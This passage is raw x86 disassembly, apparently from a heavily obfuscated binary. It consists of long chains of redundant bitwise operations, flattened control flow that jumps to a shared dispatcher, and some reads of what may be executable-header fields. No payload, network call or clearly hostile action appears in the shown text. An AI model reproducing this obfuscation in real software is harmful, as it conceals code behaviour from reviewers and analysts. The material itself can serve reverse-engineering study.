and al, cl
mov cl, byte [ebp - 0x39bb]
mov byte [ebp - 0x39be], al
mov al, byte [ebp - 0x39bd]
or cl, al
mov al, byte [ebp - 0x39bc]
mov byte [ebp - 0x39bf], cl
mov cl, byte [ebp - 0x39be]
or al, cl
mov cl, byte [ebp - 0x39bf]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x39ba]
or al, 1
and ch, al
or cl, ch
mov al, dl
xor al, 0
and al, 1
mov ch, dl
xor ch, 1
mov bh, ch
and bh, 0
mov byte [ebp - 0x39c0], al
mov al, dl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0x39c1], al
mov al, byte [ebp - 0x39c0]
or al, bh
mov bh, byte [ebp - 0x39c1]
or bh, ch
xor al, bh
mov ch, ah
xor ch, 0xff
mov bh, al
and bh, ch
xor al, 0xff
mov ch, ah
and ch, al
or bh, ch
xor bh, 0xff
mov al, ah
xor al, 0xff
mov ch, dl
xor ch, 1
or bh, al
or ch, 1
xor bh, 0xff
and bh, ch
mov al, cl
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov byte [ebp - 0x39c2], al
mov al, cl
and al, ch
mov byte [ebp - 0x39c3], al
mov al, dl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x39c4], al
mov al, byte [ebp - 0x39c2]
mov byte [ebp - 0x39c5], cl
mov cl, byte [ebp - 0x39c3]
or al, cl
mov cl, byte [ebp - 0x39c4]
or cl, ch
xor al, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov byte [ebp - 0x39c6], al
mov al, dh
and al, ch
mov byte [ebp - 0x39c7], al
mov al, byte [ebp - 0x39c6]
xor al, 0xff
and al, 0
mov byte [ebp - 0x39c8], al
mov al, byte [ebp - 0x39c6]
and al, ch
mov ch, byte [ebp - 0x39c7]
or cl, ch
mov ch, byte [ebp - 0x39c8]
or ch, al
xor cl, ch
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
and ch, 0
or cl, ch
mov ch, bl
xor ch, 0xff
mov dh, cl
and dh, ch
xor cl, 0xff
mov ch, bl
and ch, cl
or dh, ch
mov cl, bl
xor cl, 0xff
mov ch, dh
xor ch, cl
and ch, dh
mov cl, byte [ebp - 0x39a5]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov byte [ebp - 0x39c9], al
mov al, byte [ebp - 0x39a5]
and al, dh
mov byte [ebp - 0x39ca], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x39cb], al
mov al, byte [ebp - 0x39ca]
or cl, al
mov al, byte [ebp - 0x39cb]
or al, dh
xor cl, al
mov al, byte [ebp - 0x39c5]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x39cc], al
mov al, byte [ebp - 0x39c5]
and al, dh
mov byte [ebp - 0x39cd], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x39ce], al
mov al, byte [ebp - 0x39cc]
mov byte [ebp - 0x39cf], cl
mov cl, byte [ebp - 0x39cd]
or al, cl
mov cl, byte [ebp - 0x39ce]
or cl, dh
xor al, cl
mov cl, dl
xor cl, 0
and cl, 0
mov dh, dl
xor dh, 0
mov byte [ebp - 0x39d0], al
mov al, dh
and al, 0
mov byte [ebp - 0x39d1], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x39d2], al
mov al, byte [ebp - 0x39d1]
or cl, al
mov al, byte [ebp - 0x39d2]
or al, dh
xor cl, al
mov al, byte [ebp - 0x39cf]
xor al, 0xff
mov dh, byte [ebp - 0x39d0]
xor dh, 0xff
mov byte [ebp - 0x39d3], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39d4], al
mov al, byte [ebp - 0x39d3]
and al, 0
mov byte [ebp - 0x39d5], al
mov al, byte [ebp - 0x39cf]
mov byte [ebp - 0x39d6], cl
mov cl, byte [ebp - 0x39d4]
and al, cl
mov cl, dh
and cl, 0
mov byte [ebp - 0x39d7], al
mov al, byte [ebp - 0x39d0]
mov byte [ebp - 0x39d8], cl
mov cl, byte [ebp - 0x39d4]
and al, cl
mov cl, byte [ebp - 0x39d5]
mov byte [ebp - 0x39d9], al
mov al, byte [ebp - 0x39d7]
or cl, al
mov al, byte [ebp - 0x39d8]
mov byte [ebp - 0x39da], cl
mov cl, byte [ebp - 0x39d9]
or al, cl
mov cl, byte [ebp - 0x39da]
xor cl, al
mov al, byte [ebp - 0x39d3]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x39d4]
or dh, 0
and al, dh
or cl, al
mov al, dl
xor al, 0
mov dh, byte [ebp - 0x39d6]
xor dh, 0xff
mov byte [ebp - 0x39db], al
mov al, dl
xor al, 1
mov byte [ebp - 0x39dc], al
mov al, byte [ebp - 0x39db]
and al, 0xff
mov byte [ebp - 0x39dd], al
mov al, byte [ebp - 0x39dc]
and al, 0
mov byte [ebp - 0x39de], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x39df], al
mov al, byte [ebp - 0x39d6]
mov byte [ebp - 0x39e0], cl
mov cl, byte [ebp - 0x39dc]
and al, cl
mov cl, byte [ebp - 0x39dd]
mov byte [ebp - 0x39e1], al
mov al, byte [ebp - 0x39de]
or cl, al
mov al, byte [ebp - 0x39df]
mov byte [ebp - 0x39e2], cl
mov cl, byte [ebp - 0x39e1]
or al, cl
mov cl, byte [ebp - 0x39e2]
xor cl, al
mov al, byte [ebp - 0x39db]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x39dc]
or dh, 1
and al, dh
or cl, al
mov al, byte [ebp - 0x39e0]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x39e3], al
mov al, byte [ebp - 0x39e0]
and al, dh
mov byte [ebp - 0x39e4], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x39e5], al
mov al, byte [ebp - 0x39e3]
mov byte [ebp - 0x39e6], cl
mov cl, byte [ebp - 0x39e4]
or al, cl
mov cl, byte [ebp - 0x39e5]
or cl, dh
xor al, cl
xor al, 0xff
mov cl, byte [ebp - 0x39e6]
xor cl, 0xff
mov dh, dl
xor dh, 1
or al, cl
or dh, 1
xor al, 0xff
and al, dh
mov cl, bh
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x39e7], al
mov al, bh
and al, dh
or cl, al
mov al, byte [ebp - 0x39c9]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x39e8], al
mov al, byte [ebp - 0x39c9]
and al, dh
mov dh, byte [ebp - 0x39e8]
or dh, al
mov al, dl
xor al, 0
and al, 1
mov byte [ebp - 0x39e9], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x39ea], al
mov al, byte [ebp - 0x39e9]
mov byte [ebp - 0x39eb], cl
mov cl, byte [ebp - 0x39ea]
or al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0x39ec], al
mov al, byte [ebp - 0x39eb]
xor al, cl
mov cl, byte [ebp - 0x39eb]
and al, cl
xor bh, 0xff
mov cl, byte [ebp - 0x39ec]
xor cl, 0xff
mov byte [ebp - 0x39ed], al
mov al, dl
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0x39ee], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39ef], al
mov al, byte [ebp - 0x39ee]
or al, cl
mov cl, byte [ebp - 0x39ef]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x39c9]
xor cl, 0xff
mov byte [ebp - 0x39f0], al
mov al, byte [ebp - 0x39ec]
xor al, 0xff
mov byte [ebp - 0x39f1], al
mov al, dl
xor al, 1
mov byte [ebp - 0x39f2], al
mov al, byte [ebp - 0x39f1]
or cl, al
mov al, byte [ebp - 0x39f2]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x39ed]
xor al, 0xff
mov byte [ebp - 0x39f3], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x39f4], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39f5], al
mov al, byte [ebp - 0x39f3]
and al, 0
mov byte [ebp - 0x39f6], al
mov al, byte [ebp - 0x39ed]
mov byte [ebp - 0x39f7], cl
mov cl, byte [ebp - 0x39f5]
and al, cl
mov cl, byte [ebp - 0x39f4]
and cl, 0
mov byte [ebp - 0x39f8], al
mov al, byte [ebp - 0x39f5]
and bh, al
mov al, byte [ebp - 0x39f6]
mov byte [ebp - 0x39f9], cl
mov cl, byte [ebp - 0x39f8]
or al, cl
mov cl, byte [ebp - 0x39f9]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x39f3]
mov bh, byte [ebp - 0x39f4]
or cl, bh
xor cl, 0xff
mov bh, byte [ebp - 0x39f5]
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x39f0]
xor cl, 0xff
mov bh, byte [ebp - 0x39f7]
xor bh, 0xff
mov byte [ebp - 0x39fa], al
mov al, dl
xor al, 0
mov byte [ebp - 0x39fb], al
mov al, cl
and al, 0
mov byte [ebp - 0x39fc], al
mov al, byte [ebp - 0x39f0]
mov byte [ebp - 0x39fd], cl
mov cl, byte [ebp - 0x39fb]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x39fe], al
mov al, byte [ebp - 0x39f7]
mov byte [ebp - 0x39ff], cl
mov cl, byte [ebp - 0x39fb]
and al, cl
mov cl, byte [ebp - 0x39fc]
mov byte [ebp - 0x3a00], al
mov al, byte [ebp - 0x39fe]
or cl, al
mov al, byte [ebp - 0x39ff]
mov byte [ebp - 0x3a01], cl
mov cl, byte [ebp - 0x3a00]
or al, cl
mov cl, byte [ebp - 0x3a01]
xor cl, al
mov al, byte [ebp - 0x39fd]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x39fb]
or bh, 0
and al, bh
or cl, al
mov al, byte [ebp - 0x39fa]
xor al, 0xff
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3a02], al
mov al, byte [ebp - 0x39fa]
and al, bh
mov byte [ebp - 0x3a03], al
mov al, cl
xor al, 0xff
and al, 0
and cl, bh
mov bh, byte [ebp - 0x3a02]
mov byte [ebp - 0x3a04], al
mov al, byte [ebp - 0x3a03]
or bh, al
mov al, byte [ebp - 0x3a04]
or al, cl
xor bh, al
mov al, byte [ebp - 0x39eb]
xor al, 0xff
mov cl, dh
xor cl, 0xff
mov byte [ebp - 0x3a05], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3a06], al
mov al, byte [ebp - 0x3a05]
and al, 0xff
mov byte [ebp - 0x3a07], al
mov al, byte [ebp - 0x39eb]
mov byte [ebp - 0x3a08], cl
mov cl, byte [ebp - 0x3a06]
and al, cl
mov cl, byte [ebp - 0x3a08]
and cl, 0xff
mov byte [ebp - 0x3a09], al
mov al, byte [ebp - 0x3a06]
and dh, al
mov al, byte [ebp - 0x3a07]
mov byte [ebp - 0x3a0a], cl
mov cl, byte [ebp - 0x3a09]
or al, cl
mov cl, byte [ebp - 0x3a0a]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x3a05]
mov dh, byte [ebp - 0x3a08]
or cl, dh
xor cl, 0xff
mov dh, byte [ebp - 0x3a06]
or dh, 1
and cl, dh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and al, dh
or cl, al
mov al, dl
xor al, 0
mov dh, byte [ebp - 0x39ec]
xor dh, 0xff
mov byte [ebp - 0x3a0b], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a0c], al
mov al, byte [ebp - 0x3a0b]
and al, 0
mov byte [ebp - 0x3a0d], al
mov al, byte [ebp - 0x3a0c]
and al, 0
mov byte [ebp - 0x3a0e], al
mov al, dh
and al, 0
mov byte [ebp - 0x3a0f], al
mov al, byte [ebp - 0x39ec]
mov byte [ebp - 0x3a10], cl
mov cl, byte [ebp - 0x3a0c]
and al, cl
mov cl, byte [ebp - 0x3a0d]
mov byte [ebp - 0x3a11], al
mov al, byte [ebp - 0x3a0e]
or cl, al
mov al, byte [ebp - 0x3a0f]
mov byte [ebp - 0x3a12], cl
mov cl, byte [ebp - 0x3a11]
or al, cl
mov cl, byte [ebp - 0x3a12]
xor cl, al
mov al, byte [ebp - 0x3a0b]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x3a0c]
or dh, 0
and al, dh
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x3a10]
xor al, cl
mov cl, byte [ebp - 0x3a10]
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x3a13], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a14], al
mov al, dh
and al, 0
mov byte [ebp - 0x3a15], al
mov al, byte [ebp - 0x3a14]
and bh, al
mov al, cl
and al, 0
mov byte [ebp - 0x3a16], al
mov al, byte [ebp - 0x3a13]
mov byte [ebp - 0x3a17], cl
mov cl, byte [ebp - 0x3a14]
and al, cl
mov cl, byte [ebp - 0x3a15]
or cl, bh
mov bh, byte [ebp - 0x3a16]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x3a17]
or dh, al
xor dh, 0xff
mov bh, byte [ebp - 0x3a14]
or bh, 0
and dh, bh
or cl, dh
mov dh, ch
xor dh, 0xff
and dh, 1
mov bh, dl
xor bh, 1
mov al, ch
and al, bh
mov byte [ebp - 0x3a18], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x3a19], al
mov al, byte [ebp - 0x3a18]
or dh, al
mov al, byte [ebp - 0x3a19]
or al, bh
xor dh, al
mov al, byte [ebp - 0x39e7]
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3a1a], al
mov al, byte [ebp - 0x39e7]
and al, bh
mov bh, byte [ebp - 0x3a1a]
or bh, al
mov al, dl
xor al, 1
and al, 1
mov byte [ebp - 0x3a1b], al
mov al, dl
xor al, 1
and al, 1
mov byte [ebp - 0x3a1c], al
mov al, byte [ebp - 0x3a1b]
mov byte [ebp - 0x3a1d], cl
mov cl, byte [ebp - 0x3a1c]
or al, cl
mov cl, dl
xor cl, 1
mov byte [ebp - 0x3a1e], al
mov al, dh
xor al, cl
and al, dh
xor ch, 0xff
mov cl, byte [ebp - 0x3a1e]
xor cl, 0xff
mov byte [ebp - 0x3a1f], al
mov al, dl
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0x3a20], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a21], al
mov al, byte [ebp - 0x3a20]
or al, cl
mov cl, byte [ebp - 0x3a21]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x39e7]
xor cl, 0xff
mov byte [ebp - 0x3a22], al
mov al, byte [ebp - 0x3a1e]
xor al, 0xff
mov byte [ebp - 0x3a23], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a24], al
mov al, byte [ebp - 0x3a23]
or cl, al
mov al, byte [ebp - 0x3a24]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x3a1f]
and al, ch
mov byte [ebp - 0x3a25], al
mov al, byte [ebp - 0x3a1f]
xor al, ch
mov ch, byte [ebp - 0x3a25]
or ch, al
mov al, byte [ebp - 0x3a22]
and al, cl
mov byte [ebp - 0x3a26], al
mov al, byte [ebp - 0x3a22]
xor al, cl
mov cl, byte [ebp - 0x3a26]
or cl, al
mov al, ch
xor al, 0xff
and al, 0
mov byte [ebp - 0x3a27], al
mov al, dl
xor al, 0
and ch, al
mov byte [ebp - 0x3a28], al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x3a29], al
mov al, byte [ebp - 0x3a28]
and cl, al
mov al, byte [ebp - 0x3a27]
or al, ch
mov ch, byte [ebp - 0x3a29]
or ch, cl
xor al, ch
mov cl, dh
and cl, bh
xor dh, bh
or cl, dh
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
and cl, dh
or ch, cl
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x3a1e]
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3a2a], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x3a2b], al
mov al, bh
and al, 1
mov byte [ebp - 0x3a2c], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x3a2d], al
mov al, byte [ebp - 0x3a1e]
and al, bh
mov byte [ebp - 0x3a2e], al
mov al, byte [ebp - 0x3a2b]
mov byte [ebp - 0x3a2f], cl
mov cl, byte [ebp - 0x3a2c]
or al, cl
mov cl, byte [ebp - 0x3a2d]
mov byte [ebp - 0x3a30], al
mov al, byte [ebp - 0x3a2e]
or cl, al
mov al, byte [ebp - 0x3a30]
xor al, cl
mov cl, byte [ebp - 0x3a2f]
or cl, dh
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
xor ch, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0
or ch, al
or cl, 0
xor ch, 0xff
and ch, cl
mov al, byte [ebp - 0x3a2a]
and al, ch
mov cl, byte [ebp - 0x3a2a]
xor cl, ch
or al, cl
mov cl, byte [ebp - 0x3a1d]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x3a1d]
and dh, ch
or cl, dh
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and al, dh
or cl, al
mov al, byte [ebp - 0x3a1d]
xor al, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 0
or al, cl
or dh, 0
xor al, 0xff
and al, dh
mov cl, ch
and cl, al
xor ch, al
or cl, ch
mov al, ah
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dh, dl
xor dh, 0
or al, ch
or dh, 0
xor al, 0xff
and al, dh
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
and ah, dh
mov bh, bl
xor bh, 0xff
and bh, 0xff
and bl, dh
or ch, ah
or bh, bl
xor ch, bh
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or al, dh
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
xor ah, 0xff
xor ch, 0xff
mov dh, dl
xor dh, 0
or ah, ch
or dh, 0
xor ah, 0xff
and ah, dh
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
mov dh, ah
and dh, 0
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, byte [ebp - 0x39c5]
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x39c5]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x3a31], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, byte [ebp - 0x3a31]
xor al, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 1
or al, bl
or bh, 1
xor al, 0xff
and al, bh
mov bl, dl
xor bl, 0
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x3a32], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3a33], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3a34], al
mov al, byte [ebp - 0x3a33]
or al, bh
mov bh, byte [ebp - 0x3a34]
or bh, 1
xor al, 0xff
and al, bh
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x3a35], al
mov al, byte [ebp - 0x39c5]
xor al, bh
mov bh, byte [ebp - 0x39c5]
and al, bh
mov bh, byte [ebp - 0x3a32]
and bh, bl
mov byte [ebp - 0x3a36], al
mov al, byte [ebp - 0x3a32]
xor al, bl
or bh, al
mov al, byte [ebp - 0x3a35]
xor al, 0xff
mov bl, byte [ebp - 0x3a36]
xor bl, 0xff
mov byte [ebp - 0x3a37], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a38], al
mov al, byte [ebp - 0x3a37]
and al, 0
mov byte [ebp - 0x3a39], al
mov al, byte [ebp - 0x3a35]
mov byte [ebp - 0x3a3a], cl
mov cl, byte [ebp - 0x3a38]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x3a3b], al
mov al, byte [ebp - 0x3a36]
mov byte [ebp - 0x3a3c], cl
mov cl, byte [ebp - 0x3a38]
and al, cl
mov cl, byte [ebp - 0x3a39]
mov byte [ebp - 0x3a3d], al
mov al, byte [ebp - 0x3a3b]
or cl, al
mov al, byte [ebp - 0x3a3c]
mov byte [ebp - 0x3a3e], cl
mov cl, byte [ebp - 0x3a3d]
or al, cl
mov cl, byte [ebp - 0x3a3e]
xor cl, al
mov al, byte [ebp - 0x3a37]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x3a38]
or bl, 0
and al, bl
or cl, al
mov al, bh
xor al, 0xff
mov bl, cl
and bl, al
xor cl, 0xff
and bh, cl
or bl, bh
mov al, byte [ebp - 0x3a31]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3a3f], al
and al, 0
mov byte [ebp - 0x3a40], al
mov al, byte [ebp - 0x3a31]
and al, bh
mov byte [ebp - 0x3a41], al
mov al, cl
and al, 0
and ah, bh
mov byte [ebp - 0x3a42], al
mov al, byte [ebp - 0x3a40]
mov byte [ebp - 0x3a43], cl
mov cl, byte [ebp - 0x3a41]
or al, cl
mov cl, byte [ebp - 0x3a42]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x3a3f]
mov ah, byte [ebp - 0x3a43]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, dl
xor bh, 0
and al, bh
mov ah, dl
xor ah, 1
and ah, 0
and bh, 1
or cl, al
or ah, bh
xor cl, ah
mov al, dh
and al, 1
xor dh, 1
or al, dh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bl
and al, cl
xor bl, cl
or al, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, ch
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, ch
and al, cl
or ah, al
xor ch, 0xff
mov al, ah
xor al, ch
and al, ah
mov cl, byte [ebp - 0x3a3a]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x3a3a]
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, al
and dh, ch
or ah, dh
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
mov bl, cl
xor bl, dh
and bl, cl
mov dh, ch
xor dh, 0xff
mov bh, byte [ebp - 0x3a3a]
xor bh, dh
mov dh, byte [ebp - 0x3a3a]
and bh, dh
mov dh, ah
xor dh, 0xff
mov byte [ebp - 0x3a44], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a45], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3a46], al
mov al, byte [ebp - 0x3a45]
or dh, al
mov al, byte [ebp - 0x3a46]
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x3a44]
xor al, 0xff
mov byte [ebp - 0x3a47], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x3a48], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3a49], al
mov al, byte [ebp - 0x3a47]
mov byte [ebp - 0x3a4a], cl
mov cl, byte [ebp - 0x3a48]
or al, cl
mov cl, byte [ebp - 0x3a49]
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x3a4b], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x3a4c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3a4d], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x3a4e], al
mov al, byte [ebp - 0x3a4d]
and bl, al
mov al, byte [ebp - 0x3a4c]
and al, 0xff
mov byte [ebp - 0x3a4f], al
mov al, byte [ebp - 0x3a4d]
and bh, al
mov al, byte [ebp - 0x3a4e]
or al, bl
mov bl, byte [ebp - 0x3a4f]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0x3a4c]
or cl, bl
xor cl, 0xff
mov bh, byte [ebp - 0x3a4d]
or bh, 1
and cl, bh
or al, cl
mov cl, dh
mov bh, byte [ebp - 0x3a4b]
and cl, bh
xor dh, bh
or cl, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
and al, bl
mov bh, cl
xor bh, 0xff
and bh, 0xff
and cl, bl
or dh, al
or bh, cl
xor dh, bh
mov al, byte [ebp - 0x3a4a]
and al, ah
mov cl, byte [ebp - 0x3a4a]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or cl, al
or bl, ah
xor cl, bl
mov al, dl
xor al, 0
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x3a50], al
mov al, bl
and al, 0
mov byte [ebp - 0x3a51], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0x3a52], al
mov al, byte [ebp - 0x3a51]
or bh, al
mov al, byte [ebp - 0x3a52]
or al, ch
xor bh, al
mov al, byte [ebp - 0x3a50]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
xor cl, 0xff
xor bh, 0xff
xor dl, 1
or cl, bh
or dl, 1
xor cl, 0xff
and cl, dl
mov al, dh
and al, cl
xor dh, cl
or al, dh
test al, 1
mov esi, dword [ebp - 0x3998]
mov edi, dword [ebp - 0x39a4]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, dword [ebp - 0x14]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov esi, dword [ebp - 0xb0]
mov dword [ecx], esi
mov ecx, dword [ecx]
mov dword [edx], ecx
mov dword [ebp - 0xa8], 0x970cca3f
mov dword [ebp - 0x3af8], eax
jmp 0x45c869
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
add eax, 0x18
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
add eax, 0x60
add eax, 0x28
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xa8], 0xc94e3a38
mov dword [ebp - 0x3b04], eax
jmp 0x45c869
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xa8], 0xb2951f00
mov dword [ebp - 0x3b08], eax
jmp 0x45c869
xor eax, eax
mov ecx, 0x7c5ecf81
mov edx, eax
add edx, 0x18
mov esi, 0x7bc56c24
mov edi, 0x94db72bc
mov ebx, dword [ebp - 0x94]
mov ebx, dword [ebx]
add edi, 0
sub edi, ebx
sub edi, 0x94db72bc
mov ebx, eax
sub ebx, 0
mov dword [ebp - 0x3b1c], eax
sub eax, edi
add ebx, eax
mov eax, dword [ebp - 0x3b1c]
sub eax, ebx
add esi, 0
sub esi, 0x33a1dac3
sub esi, 0x7bc56c24
add esi, 0xdeafad59
sub esi, edx
sub esi, 0xdeafad59
sub esi, 0x66f6eab3
add esi, 0x33a1dac3
add esi, 0x66f6eab3
add ecx, 0
sub ecx, eax
sub ecx, 0x7c5ecf81
mov eax, dword [ebp - 0x3b1c]
sub eax, 0x50a338d7
sub eax, esi
add eax, 0x50a338d7
mov edx, dword [ebp - 0x3b1c]
sub edx, ecx
mov ecx, dword [ebp - 0x3b1c]
sub ecx, eax
add edx, ecx
mov eax, dword [ebp - 0x3b1c]
sub eax, edx
mov ecx, dword [ebp - 0x3b1c]
sub ecx, eax
add ecx, 0
mov eax, dword [ebp - 0x3b1c]
sub eax, 0x9f3c93d9
sub eax, ecx
add eax, 0x9f3c93d9
mov ecx, dword [ebp - 0x3b1c]
sub ecx, 0x673b5ce8
add ecx, eax
add ecx, 0x673b5ce8
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov edx, dword [ebp - 0x3b1c]
sub edx, 0xbbcdec50
add edx, 0x232541bc
add edx, 0xbbcdec50
mov esi, dword [ebp - 0x3b1c]
sub esi, ecx
add edx, esi
sub edx, 0xe3a38000
sub edx, 0x232541bc
add edx, 0xe3a38000
mov ecx, dword [ebp - 0x3b1c]
